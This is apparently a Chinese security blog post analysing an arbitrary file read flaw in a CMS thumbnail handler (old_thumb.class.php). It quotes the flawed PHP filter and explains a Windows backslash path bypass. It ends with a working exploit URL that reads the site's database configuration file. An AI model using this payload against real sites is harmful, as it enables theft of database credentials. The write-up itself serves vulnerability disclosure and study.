0x01 代码分析

发现在app\system\include\module\old_thumb.class.php疑似有任意文件读取漏洞

public function doshow(){
global $_M; $dir = str_replace(array('../','./'), '', $_GET['dir']); if(substr(str_replace($_M['url']['site'], '', $dir),0,4) == 'http' && strpos($dir, './') === false){
header("Content-type: image/jpeg");
ob_start();
readfile($dir);
ob_flush();
flush();
die;
}

页面建立old_thumb 类,并创建dbshow方法 2.程序首先过滤…/和./两个特殊字符,然后要求字符必须以http开头,并且不能检测到./字符,最后读取文件内容。 3.看似过滤非常完美,但是依然能够绕过,windows下可以使用…\绕过

0x02 漏洞利用

http://192.168.5.172/include/thumb.php?dir=http\..\..\config\config_db.php

最新文章

  1. WCF学习第二篇:WCF 配置架构。这有助于对wcf配置的理解和记忆
  2. Linux服务器配置之加载硬盘
  3. javascript获取对应页面的代码
  4. asp.net使用unescape读取js escape编码过的字符串
  5. Eclipse标准版安装J2EE插件
  6. Python内置函数(54)——callable
  7. 6. VIM 系列 - 全局搜索(ctrlsf.vim)
  8. 分析 js构造函数:对象方法 、类方法 、原型方法
  9. Java并发编程实战 之 对象的共享
  10. CSS --记录
  11. 好系统重装助手教你清理win7系统中DNS缓存
  12. html<meta>标签
  13. Spring生态研习【四】:Springboot+mybatis(探坑记)
  14. Mybatis中输入输出映射和动态Sql
  15. TZOJ:最大连续子序列
  16. Python3基础 list [] 创建整数列表
  17. 加快android studio 编译速度(已更新至Android Studio 3.3.1)
  18. std::u32string conversion to/from std::string and std::u16string
  19. 解决提交项目到GitHub,报错Please tell me who you are的问题
  20. 会话控制(session和cookie)、跨页面传值

热门文章

  1. 使用Hypothesis生成测试数据
  2. 讲解开源项目:让你成为灵魂画手的 JS 引擎:Zdog
  3. 去掉Myeclipse对JS等文件的验证
  4. Elastic Stack 笔记(七)Elasticsearch5.6 聚合分析
  5. C++ std::thread概念介绍
  6. 接口测试返回数据为JSONP格式时如何处理
  7. 夯实Java基础系列10:深入理解Java中的异常体系
  8. springboot 获取Resource目录下的文件
  9. springboot 使用freemarker自定义标签
  10. mysql 排序规则